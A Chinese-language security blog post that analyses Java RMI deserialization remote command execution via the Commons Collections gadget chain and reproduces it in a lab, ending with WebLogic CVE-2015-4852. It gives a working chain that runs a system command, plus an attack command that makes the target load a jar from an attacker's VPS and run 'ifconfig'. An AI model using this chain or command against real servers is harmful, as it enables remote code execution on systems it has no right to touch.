Java RMI服务远程方法调用漏洞

  • JAVA RMI 反序列化远程命令执行漏洞
    • 漏洞资料
    • 背景
    • 原理
    • Payload构造
    • 搭建本地测试环境
      • 开启包含第三方库的RMI服务
      • 测试RMI客户端
      • 攻击测试
      • 升级版攻击
    • Weblogic Commons-Collections反序列化RCE漏洞(CVE-2015-4852)

JAVA RMI 反序列化远程命令执行漏洞

漏洞资料

Java RMI远程反序列化任意类及远程代码执行解析(CVE-2017-3241 )
【技术分享】Java RMI 反序列化漏洞检测工具的编写
Java反序列化漏洞被忽略的大规模杀伤利用
java RMI相关反序列化漏洞整合分析
commons-collections中Java反序列化漏洞导致的RCE原理分析

背景

  之前在某个项目的漏洞核查中,发现客户的某个服务器存在JAVA RMI反序列化远程命令执行漏洞,当时手头没有相应的利用工具,就在网上找了一个广为使用的ysoserial利用工具【Download】。但是使用过程中发现,这个工具不具有回显功能,用户服务器又是处于内网环境而且是windows机器,所以使用这个工具无法验证该漏洞是否存在。
  另外,在其他项目中也发现,一些安装了weblogic中间件的服务器,如果在weblogic服务中启用了T3协议,且存在有缺陷的第三方库apache commons-collections,从而也存在反序列化引起的RCE漏洞(CVE-2015-4852)。
  然后我决定对这个工具进行修改,在研究过程中,发现这个漏洞并不简单,从ysoserial这个工具的payload就可以看出来,虽然漏洞名称都是JAVA RMI反序列化漏洞,但是成因却不尽相同。
  本文将对关于该漏洞的资料进行整合和分析,以及通过一些本地环境的搭建对漏洞进行复现,特别是针对常见的apache commons-collections第三方库存在的漏洞进行原因分析。
  结尾有福利。

原理

  RMI是REMOTE METHOD INVOCATION的简称,是J2SE的一部分,能够让程序员开发出基于JAVA的分布式应用。一个RMI对象是一个远程JAVA对象,可以从另一个JAVA虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地JAVA对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。
  对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于class path中的可序列化类来反序列化。
  RMI的传输100%基于反序列化。

  首先,该漏洞存在需要两个条件:1.存在反序列化传输。2.存在有缺陷的第三方库如commons-collections
  
  在《Java RMI远程反序列化任意类及远程代码执行解析(CVE-2017-3241 )》一文中,提到需要在服务器端的类路径中,存在一个名称公开已知的类,这个类需要实现java的Serializable接口,而且自己实现了一个readObject方法。显然,类似apache的commons-collections这样的第三方库的代码是开源的,我们很容易可以知道一个满足上述条件的类名。但是,这篇文章所描述的漏洞比我们所要讨论的范围更加广,是针对任意类的反序列化和RCE漏洞,而且漏洞成因不通,CVE-2017-3241漏洞出现的原因是java本身的原因(sun.rmi.server.UnicastRef类中),而我们所要研究的漏洞是第三方库有缺陷所造成的。
  以commons-collections第三方库为例:

  Both versions 3.2.1 and 4.0 of the Apache Commons Collections library have been identified as being vulnerable to this deserialization issue.

  下载commons-collections的3.2.1版本源码进行研究【Download】,在InvokerTransformer类中(位于commons-collections-3.2.1-src\src\java\org\apache\commons\collections\functors),可以使用其中的transform方法通过反射执行参数对象中的某个方法。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
@SuppressWarnings({"rawtypes", "unchecked"})
public class test {
    public static void main(String[] args) {
    Transformer transform = new InvokerTransformer("append",
            new Class[]{String.class},
            new Object[]{"exploitcat?"});
    Object newObject = transform.transform(new StringBuffer("your name is ")) ;
    System.out.println(newObject);    
    }
}
      
      
      
      
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

  在上述代码中,首先实例化了一个Transformer对象transform,InvokerTransformer类的构造函数如下:

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) 
    {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
      
      
      
      
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

  第一个参数append是方法名,第二个参数是参数类型,第三个参数是参数值。然后我们调用transform对象的transform方法,

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }
      
      
      
      
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

  这样,相当于我们执行了

StringBuilder a=new StringBuilder("your name is ");
    a.append("exploitcat?");
      
      
      
      
  • 1
  • 2

  输出为 your name is exploitcat?
  这样,我们就需要commons-collections中存在一个调用了InvokerTransformer的transform方法的类,它就是TransformerMap。这个文件位于commons-collections-3.2.1-src\src\java\org\apache\commons\collections\map中,在该类中,实现了Serializable接口,有自己的readObject方法:

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        map = (Map) in.readObject();
    }
      
      
      
      
  • 1
  • 2
  • 3
  • 4

  另外,这个类中存在一个静态的方法decorate:

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }
      
      
      
      
  • 1
  • 2
  • 3

  这个方法返回一个TransformerMap对象:

    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }
      
      
      
      
  • 1
  • 2
  • 3
  • 4
  • 5

  利用一段示例代码来演示如何使用TransformerMap类来执行命令:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.Map;
import java.util.HashMap;
public class TransformTest {
    public static void main(String[] args) {
    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
            new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, 
            new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec", new Class[]{String.class}, 
            new Object[]{"calc"})
    };
    Transformer chain = new ChainedTransformer(transformers) ;
    Map innerMap = new HashMap() ;
    innerMap.put("name", "hello") ;
    Map outerMap = TransformedMap.decorate(innerMap, null, chain) ;
    Map.Entry elEntry = (java.util.Map.Entry)outerMap.entrySet().iterator().next() ;
    elEntry.setValue("hello") ;
    }
}
      
      
      
      
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26

  首先,实例化一个Transformer数组,这个数组把我们要执行的代码分散到多个Transformer对象中,实际上就相当于:

try {
        Runtime.getRuntime().exec("calc");
    } catch (IOException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    }
      
      
      
      
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

  然后把Transformer数组组合成为一个ChainedTransformer对象:

Transformer chain = new ChainedTransformer(transformers) ;
      
      
      
      
  • 1

  然后用TransformerMap的decorate函数来包装一个原生的Map对象innerMap:

Map outerMap = TransformedMap.decorate(innerMap, null, chain) ;
      
      
      
      
  • 1

  在这行代码:elEntry.setValue("hello") ;中,首先执行outerMap的setValue方法,这个方法继承自MapEngry类(位于commons-collections-3.2.1-src\src\java\org\apache\commons\collections\map\AbstractInputCheckedMapDecorator.java),将会调用父类的方法:

public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
      
      
      
      
  • 1
  • 2
  • 3
  • 4

  然后调用将调用TransformerMap中的checkSetValue方法:

    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }
      
      
      
      
  • 1
  • 2
  • 3

  可以看到,在这里调用了transform方法来触发我们的代码。
  如果运行这个程序,将会弹出计算器:
这里写图片描述

Payload构造

  关于Payload的构造,可以参考ysoserial的源码,也可以参考http://pan.baidu.com/s/1c2szKBI网盘中的代码。但是,通过这种方式进行攻击测试,在我搭建的环境下出现了一个问题:
这里写图片描述
 经过排查,我发现问题出现在源码中的65行:innerMap.put("value", "value");,如果传入的两个参数的值不是value,那么会出现上述错误,我也没看懂出现这个问题的原因是什么。

搭建本地测试环境

开启包含第三方库的RMI服务

  在我刚开始测试的过程中,如何写一个简单的服务端和客户端验证RMI服务成功开启都摸索了好几天,只能怪自己java水平太低。
  首先,使用eclipse新建一个java项目:
这里写图片描述
  命名为JavaRMI,注意选择JRE为1.6,因为貌似在1.8版本的JRE中该漏洞被修复了。
这里写图片描述
  在项目属性中建立一个lib:
这里写图片描述
  再将Apache commons-collections-3.2.jar添加到lib中:
这里写图片描述
  新建一个ServerI.java接口文件:

import java.rmi.Remote;
import java.rmi.RemoteException;
public interface ServerI extends Remote
{
    public String action(String arg)throws RemoteException;
}
      
      
      
      
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

  新建一个ServerImp.java文件:

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;


public class ServerImp extends UnicastRemoteObject implements ServerI {
    protected ServerImp() throws RemoteException {
        super();
    }

    @Override
    public String action(String arg) {
        System.out.println(arg);

        return arg;
    }
}
      
      
      
      
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

  新建一个Run.java文件:

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;


public class Run {
    public static void main(String[] args) {
        try {
            ServerI server = new ServerImp();
            int port=Integer.parseInt(args[0]);
            String registry_name=args[1];
            Registry registry = LocateRegistry.createRegistry(port);
            registry.rebind(registry_name, server);
            System.out.println("Service Start!\n");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
      
      
      
      
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

  配置好Build configure,将Run.java导出为可执行的jar文件,注意将第三方库也打包进来:
这里写图片描述
  生成jar包后,将其复制到虚拟机中(我使用的安装了java1.6的kali),这个时候不能直接运行,而是要配置/etc/hosts文件,因为在客户端请求rmi服务端时,首先返回的是localhost,一般情况下linux默认localhost不是外网地址而是127.0.1.1,需要将其改为外网地址:
这里写图片描述
  我将kali下的/etc/hosts文件中的kali一项修改为外网地址。然后运行:java -jar rmiserver.jar 6600 rmi,参数6600是端口号,rmi是服务名称。
  可以看到:
这里写图片描述
  说明rmi服务启动成功。

测试RMI客户端

  在eclipse下刚才的项目中,新建一个Client.java文件:

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class Client
{
    public static void main(String[] args) throws Exception
    {
        String ip=args[0];
        int port=Integer.parseInt(args[1]);
        String registry_name=args[2];
        String msg=args[3];
        Registry registry=LocateRegistry.getRegistry(ip,port);
        ServerI business=(ServerI)registry.lookup(registry_name);
        business.action(msg);
    }
}
      
      
      
      
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

  同样,生成可执行的jar文件,注意要配置新的Build Configure。
  然后,在本机运行java -jar ./rmiclient.jar 192.168.31.25 6600 rmi MESSAGE
  服务器端将显示MESSAGE字样
这里写图片描述
  这样,RMI服务测试环境就搭好了。

攻击测试

  利用攻击测试文件,其中的ErrorBaseExec.jar【Download】是一个自定义的可以执行回显的jar文件,将它放置到VPS上使得其可以通过http访问。
  命令行下执行java -jar ./RMIexploit.jar 192.168.31.25 6600 http://*.*.*.*/ErrorBaseExec.jar "ifconfig"
这里写图片描述
  回显成功。

升级版攻击

  利用上述方式进行攻击的缺点在于,如果要攻击的对象位于内网,那么就无法加载ErrorBaseExec.jar文件。因此,【技术分享】Java RMI 反序列化漏洞检测工具的编写一文中提出了将ErrorBaseExec.class文件直接写入到目标机器中,从而完成调用。具体技术细节可以对该工具【Download】进行反编译查看源码获知。

Weblogic Commons-Collections反序列化RCE漏洞(CVE-2015-4852)

  在之前的某个项目中,遇到客户的服务器通过Nmap扫描的时候发现,在web端口上存在T3 Enabled字样,表示该服务器允许T3协议,至于T3协议的详细信息可以参考:http://blog.csdn.net/cymm_liu/article/details/36011725和http://www.xuebuyuan.com/2218893.html。
  其实当weblogic使用RMI服务时,web端口就是RMI服务端口,同时使用了丰富套接字T3协议。那么如果weblogic包含了有缺陷的第三方库(其实下面这些版本就包含了Apache Commons Collections库),也可以触发该漏洞。
  关于该漏洞的具体信息,参考【Java反序列化漏洞之weblogic本地利用实现篇】
  这个漏洞影响了Oracle WebLogic Server, 10.3.6.0, 12.1.2.0, 12.1.3.0, 12.2.1.0 版本。
  再放一发工具【Download】。





你可能感兴趣的:(Java,RMI)